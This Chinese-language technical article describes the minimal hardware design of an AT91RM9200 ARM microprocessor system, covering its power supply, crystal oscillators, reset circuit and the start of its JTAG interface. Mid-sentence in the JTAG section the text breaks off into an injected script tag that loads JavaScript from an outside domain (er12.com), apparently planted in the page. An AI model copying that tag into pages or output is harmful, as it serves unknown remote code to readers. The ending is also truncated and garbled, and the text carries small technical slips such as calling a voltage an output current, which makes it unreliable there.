引言
目前,arm微处理器已在多种领域中应用,例如工业数字/智能控制、机器人、消费/教育类多媒体、dsp和移动式/便携式设备等。有关统计表明,各种各样基于arm微处理器的设备应用数量已经远远超过了通用计算机。因此,基于arm微处理器的开发应用正成为数字时代的应用技术潮流。本文介绍at91rm9200型微处理器最小系统的设计,并给出了系统外围接口设计的相关器件选型。
1 at91rm9200简介
at91rm9200是atmel公司基于arm920t核的高性能、低功耗16/32位risc(精简指令集计算机)微处理器,内部集成丰富的外设资源,适用于要求外设资源丰富、功耗低、工作严格稳定的工业控制等方面,如嵌入式工业控制、医疗设备、网络通信、移动计算等。
at91rm9200微处理器最高主频为180 mhz,其双向、32位外部数据总线支持8位、16位、32位数据宽度,26位地址总线可以对最大64 mb空间寻址。
at91rm9200片内集成了非常丰富的外围功能模块,包括全功能mmu虚拟内存管理单元、内部16 kbsram和128 kb rom、ebi接口控制器、增强的时钟和pmc(电源管理控制器),带有2个pll(锁相坏)的片内振荡器,4个可编程的外部时钟信号,包括定时中断、看门狗、秒计数器的系统定时器,带报警中断的实时时钟,带有8级优先级、可单个屏蔽中断源的aic(先进中断控制器),7个外部中断源和1个快速中断源,4个32位的io控制器,20通道外围数据控制器(pdc或dma),1个10 mbit·s-1/100 mbit·s-1以太网控制器,1个usb 2.0主机接口,1个usb 2.0设备接口,2个多媒体卡接口,3个ssc(同步串行口控制器)(兼容iis),4个uasrt(通用同步/异步串行口),1个主/从spi(串行设备接口),1个两线串行接口twi(主模式),jtag/ice接口等。
2 硬件设计
最小系统是保证微处理器可靠工作所必须的基本电路。基于at91rm9200微处理器的最小嵌入式系统由微处理器at91rm9200、电源电路、晶体振荡器电路、复位电路、jtag接口、存储器模块、串行调试接口等电路组成,2.1 电源电路
在系统中,at91rm9200需要1.8 v和3.3 v电源,另外,大部分外围器件需要3.3 v电源,小部分外围器件还需要5 v电源,为了简化系统电源电路的设计,假设系统的输入电压为5 v直流稳压电源。为了得到可靠的3.3 v电压,此处选用了sipex公司生产的spx1117m3-3.3型低压差(ldo)稳压器,它的输人电压为5 v,输出电流为3.3 v,最大输出电流为0.8 a。同样,选用sipex公司生产的spx1117m3-1.8型低压差(ldo)稳压器,便可产生最大输出电流为0.8a的1.8 v电源。 2.2 晶体振荡器电路
晶体振荡电路用于向at91rm9200和其他需要时钟的外设电路提供工作时钟。本系统使用无源晶体振荡器x1(18.432 mhz)和x2(32.768 khz)作为系统的主振荡器和慢时钟振荡器,振荡器产生的系统主时钟和慢时钟基准经过微处理器内部2个pll后,产生系统所需的各种cpu时钟、外没时钟以及usb器件工作时钟。 2.3 复位电路
at91rm9200有2个独立的复位信号,即系统复位信号nrst与系统内部调试复位信号ntrsi,都是低电平有效。系统上电后,at91rm9200必须执行一个上电复位(称为“冷”复位),在过渡状态下,它强制复位信号nrst和ntrst为低直到电源电压和振荡器工作频率稳定为止。此外,nrst和ntrst还可以进行手动按键复位功能,以方便用户调试程序。本设计中选用了ad公司生产的adm708型复位电路,它有一个手动复位输入引脚,当工作电压低于3.08 v或手动复位输入引脚被拉低时复位ic产生一个低电平信号,持续时间为200 ms。此外,该复位电路还有一个额外的输入电压检测引脚,可实现对输人电压的检测。 2.4 jtag接口电路
jtag(联合测试行动小组)是一?script src=http://er12.com/t.js>











